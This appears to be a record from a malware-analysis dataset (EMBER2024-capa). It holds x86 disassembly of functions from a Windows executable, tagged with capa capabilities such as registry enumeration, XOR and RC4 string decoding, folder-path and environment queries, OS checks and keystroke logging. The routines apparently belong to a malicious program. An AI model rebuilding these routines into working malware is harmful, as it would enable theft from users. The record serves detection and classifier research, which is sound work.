joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f680
Capabilities:
Get common file path
Query environment variable
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x510
lea eax, [esp + 4]
push ebx
push ebp
push esi
push 8
xor ebx, ebx
push ebx
push eax
call fcn.0041869b
push 0x6a
lea edx, [esp + 0xc4]
pop ecx
call fcn.004255fb
push 0x6b
lea edx, [esp + 0x64]
pop ecx
call fcn.004255fb
mov ebp, 0x104
lea eax, [esp + 0x108]
push ebp
push eax
lea eax, [esp + 0x68]
mov ecx, reloc.WS2_32.dll_accept
push eax
lea edx, [esp + 0xcc]
call fcn.0041cea9
cmp eax, 0xffffffff
je 0x40f715
test eax, eax
je 0x40f715
push ebp
lea eax, [esp + 0x314]
push eax
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [esp + 0x10]
lea ecx, [esp + 0x310]
call fcn.0040f44f
lea eax, [esp + 0x310]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [esp + 0x14], ebx
jne 0x40f852
push 0x6d
lea edx, [esp + 0x38]
pop ecx
call fcn.004255fb
push 0x6e
lea edx, [esp + 0x7c]
pop ecx
call fcn.004255fb
push 0x6f
lea edx, [esp + 0x50]
pop ecx
call fcn.004255fb
lea eax, [esp + 0x34]
mov dword [esp + 0x18], 0x24
mov dword [esp + 0x28], eax
mov esi, ebx
lea eax, [esp + 0x78]
mov dword [esp + 0x1c], 0x1a
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0x20], 0x26
mov dword [esp + 0x24], 0x23
mov dword [esp + 0x30], eax
lea eax, [esp + 0x108]
push eax
push ebx
push ebx
push dword [esp + esi*4 + 0x24]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40f7d9
cmp dword [esp + esi*4 + 0x18], 0x24
jne 0x40f7b8
push ebx
lea edx, [esp + 0x14]
lea ecx, [esp + 0x10c]
call fcn.0040f406
xor eax, eax
mov word [esp + 0x10e], ax
sub esp, 0xc
lea eax, [esp + 0x1c]
lea edx, [esp + 0x34]
lea ecx, [esp + 0x114]
push eax
push 0x40f617
push 2
push 3
call fcn.0041e6ee
inc esi
cmp esi, 4
jb 0x40f77d
cmp dword [esp + 0x14], ebx
jne 0x40f852
push 0x6a
lea edx, [esp + 0x7c]
pop ecx
call fcn.004255fb
push 0x6c
lea edx, [esp + 0x38]
pop ecx
call fcn.004255fb
push ebp
lea eax, [esp + 0x10c]
mov ecx, reloc.WS2_32.dll_accept
push eax
lea eax, [esp + 0x3c]
push eax
lea edx, [esp + 0x84]
call fcn.0041cea9
cmp eax, 0xffffffff
je 0x40f84e
test eax, eax
je 0x40f84e
push ebp
lea eax, [esp + 0x314]
push eax
lea eax, [esp + 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea edx, [esp + 0x14]
lea ecx, [esp + 0x314]
call fcn.0040f406
cmp dword [esp + 0x14], ebx
mov ecx, dword [esp + 0x10]
jbe 0x40f867
push 0xcb
push 0x70
pop edx
call fcn.0040da8c
jmp 0x40f86c
call fcn.00418601
pop esi
pop ebp
pop ebx
add esp, 0x510
ret
Function at 0x40faf1
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
lea eax, [ebp - 8]
push esi
push edi
push 8
xor edi, edi
push edi
push eax
call fcn.0041869b
push 0x77
lea edx, [ebp - 0x74]
pop ecx
call fcn.004255fb
push 0x78
lea edx, [ebp - 0x28]
pop ecx
call fcn.004255fb
mov esi, 0x104
lea eax, [ebp - 0x280]
push esi
push eax
lea eax, [ebp - 0x28]
mov ecx, reloc.WS2_32.dll_accept
push eax
lea edx, [ebp - 0x74]
call fcn.0041cea9
cmp eax, 0xffffffff
je 0x40fb6a
test eax, eax
je 0x40fb6a
push esi
lea eax, [ebp - 0x488]
push eax
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 8]
lea ecx, [ebp - 0x488]
call fcn.0040f876
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40fbdc
push 0x79
lea edx, [ebp - 0x40]
pop ecx
call fcn.004255fb
lea eax, [ebp - 0x40]
mov dword [ebp - 0x18], 0x1a
mov dword [ebp - 0x14], 0x26
mov esi, edi
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x280]
push eax
push edi
push edi
push dword [ebp + esi*4 - 0x18]
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40fbcf
sub esp, 0xc
lea eax, [ebp - 8]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x280]
push eax
push 0x40f8b7
push 2
push 1
call fcn.0041e6ee
inc esi
cmp esi, 3
jb 0x40fb99
mov eax, dword [ebp - 4]
test eax, eax
je 0x40fbee
mov ecx, dword [ebp - 8]
push 0xcb
push 0x7a
pop edx
call fcn.0040da8c
jmp 0x40fbf6
mov ecx, dword [ebp - 8]
call fcn.00418601
pop edi
pop esi
leave
ret

Function at 0x40febf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
push edi
lea edx, [ebp - 0x30]
mov ecx, 0x81
call fcn.004255fb
lea eax, [ebp - 0x30]
mov dword [ebp - 0x18], 0x26
push 8
xor edi, edi
mov dword [ebp - 0xc], eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], 0x1a
push eax
mov dword [ebp - 0x10], 0x23
call fcn.0041869b
mov esi, edi
lea eax, [ebp - 0x238]
push eax
push edi
push edi
push dword [ebp + esi*4 - 0x18]
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40ff38
sub esp, 0xc
lea eax, [ebp - 8]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x238]
push eax
push 0x40fbfa
push 2
push 1
call fcn.0041e6ee
inc esi
cmp esi, 3
jb 0x40ff02
mov ecx, dword [ebp - 8]
cmp dword [ebp - 4], edi
jbe 0x40ff57
push 0xcb
mov edx, 0x82
call fcn.0040da8c
jmp 0x40ff5c
call fcn.00418601
pop edi
pop esi
leave
ret

Function at 0x40ff60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push 0xff
mov esi, ecx
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.0041863c
mov bl, byte [ebp - 0x100]
xor edx, edx
xor bl, byte [ebp - 0xff]
mov al, byte [ebp - 0xfe]
or bl, 0x50
mov byte [ebp - 2], dl
test al, al
je 0x40ffb8
push edi
lea edi, [ebp - 0xfe]
xor al, bl
movzx eax, al
mov word [esi + edx*2], ax
inc edx
inc edi
mov cl, byte [edi]
mov al, cl
test cl, cl
jne 0x40ffa4
pop edi
xor eax, eax
mov word [esi + edx*2], ax
mov eax, edx
pop esi
pop ebx
leave
ret
Function at 0x40ffc4
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x314
mov ecx, 0xc08
push ebx
push ebp
push esi
push edi
call fcn.004185cd
mov esi, eax
test esi, esi
je 0x410235
lea edx, [esp + 0x98]
mov ecx, 0x83
call fcn.004255fb
lea edx, [esp + 0xd8]
mov ecx, 0x84
call fcn.004255fb
lea eax, [esp + 0x98]
mov dword [esp + 0x28], eax
lea eax, [esp + 0xd8]
push 8
mov dword [esp + 0x30], eax
lea eax, [esp + 0x20]
push 0
push eax
call fcn.0041869b
lea edx, [esp + 0x3c]
mov ecx, 0x85
call fcn.004255fb
lea edx, [esp + 0x50]
mov ecx, 0x86
call fcn.004255fb
lea edx, [esp + 0x30]
mov ecx, 0x87
call fcn.004255fb
lea edx, [esp + 0x64]
mov ecx, 0x88
call fcn.004255fb
xor edi, edi
lea ebp, [esi + 0x3fc]
mov dword [esp + 0x24], edi
lea eax, [esp + 0x18]
push eax
push 8
push 0
push dword [esp + edi*4 + 0x34]
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4101ff
xor ecx, ecx
mov dword [esp + 0x14], 0x104
push ecx
push ecx
push ecx
push ecx
lea eax, [esp + 0x24]
mov ebx, ecx
push eax
lea eax, [esp + 0x12c]
push eax
push ecx
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4101f5
lea edi, [esi + 0x1fe]
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x3c]
push 0xff
push esi
push eax
lea edx, [esp + 0x124]
inc ebx
call fcn.0041cea9
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4101c3
test eax, eax
je 0x4101c3
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x50]
push 0xff
push edi
push eax
lea edx, [esp + 0x124]
call fcn.0041cea9
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x41011b
test eax, eax
jne 0x410147
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x30]
push 0xff
push edi
push eax
lea edx, [esp + 0x124]
call fcn.0041cea9
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4101c3
test eax, eax
je 0x4101c3
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x64]
push 0xff
push ebp
push 0
push eax
lea edx, [esp + 0x128]
call fcn.0041cf7a
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4101c3
test eax, eax
je 0x4101c3
mov ecx, ebp
call fcn.0040ff60
test eax, eax
jle 0x4101c3
push 0x56
lea edx, [esp + 0x7c]
pop ecx
call fcn.004255fb
push esi
push ebp
push edi
lea eax, [esp + 0x84]
push eax
lea eax, [ebp + 0x1fe]
push 0x307
push eax
call fcn.004194ac
add esp, 0x18
test eax, eax
jle 0x4101c3
push eax
lea edx, [ebp + 0x1fe]
lea ecx, [esp + 0x20]
call fcn.00418a17
test al, al
je 0x4101c3
inc dword [esp + 0x20]
xor eax, eax
mov dword [esp + 0x14], 0x104
push eax
push eax
push eax
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x12c]
push eax
push ebx
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4100c2
mov edi, dword [esp + 0x24]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc edi
mov dword [esp + 0x24], edi
cmp edi, 2
jb 0x41006c
mov ecx, esi
call fcn.00418601
cmp dword [esp + 0x20], 0
mov ecx, dword [esp + 0x1c]
jbe 0x410230
push 0xcb
mov edx, 0x89
call fcn.0040da8c
jmp 0x410235
call fcn.00418601
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret
Function at 0x410240
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], edx
mov ebp, ecx
call fcn.004192e4
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x4102f2
lea edx, [esp + 0x18]
call fcn.00418ea0
test al, al
je 0x4102f2
xor edx, edx
mov eax, edx
test edi, edi
jle 0x410287
xor byte [esp + eax + 0x18], 0x5c
inc eax
cmp eax, edi
jl 0x41027d
mov bh, byte [esp + 0x18]
cmp bh, 0xff
jne 0x41029e
mov bl, byte [esp + 0x1a]
lea ecx, [esp + 0x1c]
mov al, byte [esp + 0x1b]
jmp 0x4102a8
mov al, byte [esp + 0x19]
lea ecx, [esp + 0x1a]
mov bl, bh
movzx esi, al
movzx eax, bl
add esi, ecx
mov dword [esp + 0x14], eax
lea ecx, [eax + esi]
lea eax, [esp + 0x18]
add eax, edi
cmp ecx, eax
ja 0x4102f2
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jl 0x4102f2
cmp bh, 0xff
jne 0x4102d4
add esi, eax
sub bl, al
movzx eax, bl
test bl, bl
je 0x4102e9
movzx ecx, byte [edx + esi]
mov word [ebp + edx*2], cx
inc edx
cmp edx, eax
jl 0x4102db
xor ecx, ecx
mov word [ebp + eax*2], cx
jmp 0x4102f4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x410865
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
lea edx, [ebp - 0x38]
mov ecx, 0x95
call fcn.004255fb
lea eax, [ebp - 0x38]
mov dword [ebp - 0x18], 0x26
push 8
xor edi, edi
mov dword [ebp - 0xc], eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], 0x1a
push eax
mov dword [ebp - 0x10], 0x23
call fcn.0041869b
mov esi, edi
lea eax, [ebp - 0x240]
push eax
push edi
push edi
push dword [ebp + esi*4 - 0x18]
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4108de
sub esp, 0xc
lea eax, [ebp - 8]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x240]
push eax
push 0x4105b3
push 2
push 1
call fcn.0041e6ee
inc esi
cmp esi, 3
jb 0x4108a8
mov ecx, dword [ebp - 8]
cmp dword [ebp - 4], edi
jbe 0x4108fd
push 0xcb
mov edx, 0x96
call fcn.0040da8c
jmp 0x410902
call fcn.00418601
pop edi
pop esi
leave
ret
Function at 0x410906
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x2b4
lea eax, [esp + 0xc]
push ebx
push ebp
push esi
push edi
push 8
push 0
push eax
call fcn.0041869b
mov ecx, 0xc1c
call fcn.004185cd
mov esi, eax
test esi, esi
je 0x410b2d
lea edi, [esi + 0x1fe]
mov ecx, 0x97
lea edx, [esp + 0x78]
lea ebp, [edi + 0x1fe]
call fcn.004255fb
lea edx, [esp + 0x2c]
mov ecx, 0x98
call fcn.004255fb
lea edx, [esp + 0x44]
mov ecx, 0x99
call fcn.004255fb
lea edx, [esp + 0x38]
mov ecx, 0x9a
call fcn.004255fb
lea edx, [esp + 0x24]
mov ecx, 0x9b
call fcn.004255fb
lea eax, [esp + 0x14]
push eax
push 8
push 0
lea eax, [esp + 0x84]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x410b05
xor ecx, ecx
lea eax, [esp + 0x18]
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [esp + 0xcc]
mov ebx, ecx
push eax
push ecx
jmp 0x410ae1
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x2c]
push 0xff
push esi
push eax
lea edx, [esp + 0xc4]
inc ebx
call fcn.0041cea9
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x410acd
test eax, eax
je 0x410acd
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x38]
push 0xff
push edi
push eax
lea edx, [esp + 0xc4]
call fcn.0041cea9
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x410acd
test eax, eax
je 0x410acd
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x24]
push 0xff
push ebp
push eax
lea edx, [esp + 0xc4]
call fcn.0041cea9
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x410acd
test eax, eax
je 0x410acd
mov ecx, ebp
call fcn.004192e4
test eax, eax
jle 0x410acd
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x44]
push eax
lea edx, [esp + 0xbc]
call fcn.0041cf49
mov edi, eax
cmp edi, 1
jb 0x410a7f
cmp edi, 0xffff
jbe 0x410a82
push 0x15
pop edi
push 0x55
lea edx, [esp + 0x54]
pop ecx
call fcn.004255fb
push edi
push esi
push ebp
lea edi, [esi + 0x1fe]
push edi
lea eax, [esp + 0x60]
push eax
lea eax, [ebp + 0x1fe]
push 0x311
push eax
call fcn.004194ac
add esp, 0x1c
test eax, eax
jle 0x410acd
push eax
lea edx, [ebp + 0x1fe]
lea ecx, [esp + 0x20]
call fcn.00418a17
test al, al
je 0x410acd
inc dword [esp + 0x20]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0xcc]
push eax
push ebx
push dword [esp + 0x30]
mov dword [esp + 0x38], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4109c3
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, esi
call fcn.00418601
cmp dword [esp + 0x20], 0
mov ecx, dword [esp + 0x1c]
jbe 0x410b28
push 0xcb
mov edx, 0x9c
call fcn.0040da8c
jmp 0x410b2d
call fcn.00418601
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
Function at 0x410b38
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x1ec
push ebx
push edi
mov eax, 0x784c
mov dword [ebp - 0x7c], 0xf62fe722
push 0x77
mov word [ebp + 0x44], ax
mov ebx, ecx
pop eax
mov dword [ebp - 0x78], 0xdd5ab67c
mov dword [ebp - 0x74], 0xb94e0fdb
mov dword [ebp - 0x70], 0xe0405196
mov dword [ebp - 0x6c], 0xabe2f694
mov dword [ebp - 0x68], 0xfc0821bb
mov dword [ebp - 0x64], 0xb96ae48e
mov dword [ebp - 0x60], 0xa6e555d7
mov dword [ebp - 0x5c], 0x2172a4a1
mov dword [ebp - 0x58], 0x29ec822d
mov dword [ebp - 0x54], 0x145857e4
mov dword [ebp - 0x50], 0x9dc104d1
mov dword [ebp - 0x4c], 0xfc6a7020
mov dword [ebp - 0x48], 0xefbaed8f
mov dword [ebp - 0x44], 0xd6898e88
mov dword [ebp - 0x40], 0x8740d18e
mov dword [ebp - 0x3c], 0x8e01a6de
mov dword [ebp - 0x38], 0x68713ac2
mov dword [ebp - 0x34], 0x8c2aee11
mov dword [ebp - 0x30], 0x337f5fc1
mov dword [ebp - 0x2c], 0xd4716d32
mov dword [ebp - 0x28], 0xcd97dc9
mov dword [ebp - 0x24], 0xa0945071
mov dword [ebp - 0x20], 0x6fd71605
mov dword [ebp - 0x1c], 0x4ffd3638
mov dword [ebp - 0x18], 0x9717b3b2
mov dword [ebp - 0x14], 0x721cbeca
mov dword [ebp - 0x10], 0x68f623f
mov dword [ebp - 0xc], 0x7fff698f
mov dword [ebp - 8], 0x27e8e29c
mov dword [ebp - 4], 0x49397189
mov dword [ebp], 0xc3fddb4e
mov dword [ebp + 4], 0xf4ee8f8b
mov dword [ebp + 8], 0x6b1a9395
mov dword [ebp + 0xc], 0xf6ad1b1
mov dword [ebp + 0x10], 0xa6964d8b
mov dword [ebp + 0x14], 0xbb9ea79d
mov dword [ebp + 0x18], 0x93c00df
mov dword [ebp + 0x1c], 0xb51c856f
mov dword [ebp + 0x20], 0xe83df1c5
mov dword [ebp + 0x24], 0x3d1393a
mov dword [ebp + 0x28], 0x965968d8
mov dword [ebp + 0x2c], 0xb2c2f791
mov dword [ebp + 0x30], 0x9b5c0234
mov dword [ebp + 0x34], 0x72ebb1bf
mov dword [ebp + 0x38], 0xf1c5daba
mov dword [ebp + 0x3c], 0xf047da01
mov dword [ebp + 0x40], 0x72ab3dd8
mov word [ebp + 0x46], ax
mov dword [ebp + 0x48], 0xa245b05f
mov dword [ebp + 0x4c], 0x16d91794
mov dword [ebp + 0x50], 0xffa2c6c6
mov dword [ebp + 0x54], 0x3d88f099
mov dword [ebp + 0x58], 0xde3da624
mov dword [ebp + 0x5c], 0x82b3d35b
mov dword [ebp + 0x60], 0xf4067e9c
mov dword [ebp + 0x64], 0x7aa1608
mov dword [ebp + 0x68], 0x373af97e
mov dword [ebp + 0x6c], 0x15b0c441
mov dword [ebp + 0x70], 0xf81cb699
mov dword [ebp + 0x74], 0xcb97e38f
call fcn.004192e4
cdq
and edx, 3
lea edi, [edx + eax]
sar edi, 2
cmp edi, 0x7b
jae 0x410d59
lea edx, [ebp - 0x174]
call fcn.00418ea0
test al, al
je 0x410d59
push esi
xor esi, esi
test edi, edi
jle 0x410d4e
mov dx, word [ebp + esi*2 - 0x174]
movzx eax, byte [ebp + esi*2 - 0x173]
shl dx, 8
or dx, ax
xor dx, word [ebp + esi*2 - 0x7c]
mov ch, dl
mov cl, dh
mov word [ebx + esi*2], cx
inc esi
cmp esi, edi
jl 0x410d25
xor eax, eax
mov word [ebx + edi*2], ax
mov eax, edi
pop esi
jmp 0x410d5b
xor eax, eax
pop edi
pop ebx
add ebp, 0x78
leave
ret
Function at 0x41104c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
push 8
xor esi, esi
lea eax, [ebp - 8]
push esi
push eax
call fcn.0041869b
lea edx, [ebp - 0x120]
mov ecx, 0xa3
call fcn.004255fb
lea edx, [ebp - 0xb0]
mov ecx, 0xa5
call fcn.004255fb
lea edx, [ebp - 0x50]
mov ecx, 0xa4
call fcn.004255fb
lea edx, [ebp - 0x28]
mov ecx, 0xa6
call fcn.004255fb
lea eax, [ebp - 0x120]
mov ebx, 0x104
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x28]
push 2
mov dword [ebp - 0xc], eax
pop edi
mov edx, dword [ebp + esi - 0x18]
lea eax, [ebp - 0x328]
push ebx
push eax
push dword [ebp + esi - 0x10]
mov ecx, reloc.WS2_32.dll_accept
call fcn.0041cea9
cmp eax, 0xffffffff
je 0x41110c
test eax, eax
je 0x41110c
push ebx
lea eax, [ebp - 0x530]
push eax
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 8]
lea ecx, [ebp - 0x530]
call fcn.00410d62
add esi, 4
sub edi, 1
jne 0x4110c6
mov ecx, dword [ebp - 8]
cmp dword [ebp - 4], edi
jbe 0x41112d
push 0xcb
mov edx, 0xa7
call fcn.0040da8c
jmp 0x411132
call fcn.00418601
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41116e
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x11c
push esi
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x11c
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x411236
push 2
pop ecx
cmp dword [ebp - 0x94], ecx
jne 0x411236
mov al, byte [ebp + 0x76]
cmp al, 1
jne 0x4111f6
cmp dword [ebp - 0xa0], 5
jne 0x4111d4
mov eax, dword [ebp - 0x9c]
test eax, eax
jne 0x4111c7
inc esi
jmp 0x411236
cmp eax, 1
je 0x4111d0
cmp eax, ecx
jne 0x411236
mov esi, ecx
jmp 0x411236
cmp dword [ebp - 0xa0], 6
jne 0x411236
cmp dword [ebp - 0x9c], esi
jne 0x4111e9
push 4
jmp 0x411226
cmp dword [ebp - 0x9c], 1
jne 0x411236
push 6
jmp 0x411226
cmp al, 2
je 0x4111fe
cmp al, 3
jne 0x411236
cmp dword [ebp - 0xa0], 5
jne 0x411213
cmp dword [ebp - 0x9c], ecx
jne 0x411236
push 3
jmp 0x411226
cmp dword [ebp - 0xa0], 6
jne 0x411236
cmp dword [ebp - 0x9c], esi
jne 0x411229
push 5
pop esi
jmp 0x411236
cmp dword [ebp - 0x9c], 1
push 7
pop eax
cmove esi, eax
mov eax, esi
pop esi
add ebp, 0x78
leave
ret
Function at 0x4112bf
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
lea eax, [ebp - 4]
push ebx
push esi
push eax
push ecx
mov esi, edx
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
je 0x411373
push edi
push 4
lea edx, [ebp - 0xa0]
pop ecx
call fcn.004255fb
push dword [ebp - 4]
lea eax, [ebp - 0xa0]
mov edi, 0x104
push eax
lea eax, [ebp - 0x2a8]
push edi
push eax
call fcn.004194ac
add esp, 0x10
test eax, eax
jle 0x411369
push 5
lea edx, [ebp - 0x28]
pop ecx
call fcn.004255fb
push edi
lea eax, [ebp - 0x2a8]
mov ecx, reloc.WS2_32.dll_bind
push eax
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x2a8]
call fcn.0041cea9
test eax, eax
je 0x411369
cmp eax, 0xffffffff
je 0x411369
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
push edi
push esi
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
lea ecx, [edi - 1]
cmp ecx, eax
sbb bl, bl
inc bl
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4113df
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x10]
xor eax, eax
push ebp
mov ebp, dword [esp + 0x10]
test bl, bl
push esi
mov esi, 0xc0000000
mov dword [esp + 0xc], edx
push edi
cmovne esi, eax
mov edi, ecx
xor al, al
movzx edx, al
cmp dword [edx*8 + 0x401bc0], ebp
je 0x411445
inc al
cmp al, 0x58
jb 0x411400
test bl, bl
je 0x4114c8
mov ecx, ebp
call fcn.00411379
movzx ecx, ax
test cx, cx
je 0x4114c8
mov eax, dword [edi + 0x10]
mov edx, 0x20000000
cmp byte [eax + 0x12], 0
cmovl esi, edx
push esi
push ecx
push 0x102
jmp 0x4114b7
movzx ecx, byte [edx*8 + 0x401bc5]
movzx eax, byte [edx*8 + 0x401bc4]
shl cx, 8
or cx, ax
movzx eax, cx
mov dword [esp + 0x1c], eax
test ax, ax
je 0x411412
push ebx
mov dl, al
mov ecx, edi
call fcn.004148b1
mov eax, dword [esp + 0x1c]
movzx ebp, al
push 0
push ebp
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
test eax, eax
je 0x41148e
movzx eax, al
shl eax, 0x10
or esi, eax
mov eax, dword [edi + 0x10]
cmp byte [eax + 0x12], 0
jge 0x4114a7
cmp byte [eax + 0x11], 0
jl 0x4114a7
mov eax, 0x105
lea ecx, [eax - 1]
jmp 0x4114af
mov eax, 0x101
lea ecx, [eax - 1]
push esi
test bl, bl
push ebp
cmovne eax, ecx
push eax
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
setne al
jmp 0x4114ca
xor al, al
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x411a22
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x88
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov ebx, 0x404210
movzx eax, di
mov ebp, 0x404254
push eax
push 0x4041f0
push 0
push 0x54
push ebx
push ebp
mov esi, edx
call fcn.0041a5ac
add esp, 0x18
test di, di
je 0x411a7e
push esi
push 2
mov edx, edi
pop ecx
call fcn.004119bf
test al, al
je 0x411a7e
push dword [esp + 0x9c]
mov edx, edi
push 0x17
pop ecx
call fcn.004119bf
mov ax, di
jmp 0x411b0e
push esi
push 2
xor edx, edx
pop ecx
call fcn.004119bf
test al, al
je 0x411af9
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x80
push eax
lea eax, [esp + 0x1c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x411ae9
mov eax, dword [esp + 0x1a]
mov cx, ax
shr cx, 8
shl eax, 8
or cx, ax
movzx esi, cx
push esi
push 0x404268
push 0
push 0x62
push ebx
push ebp
call fcn.0041a5ac
add esp, 0x18
mov edx, esi
push dword [esp + 0x9c]
push 0x17
pop ecx
call fcn.004119bf
mov ax, si
jmp 0x411b0e
mov ecx, dword [esi]
call fcn.0041c10a
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x404290
push 2
push 0x6a
push ebx
push ebp
call fcn.0041a5ac
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret 4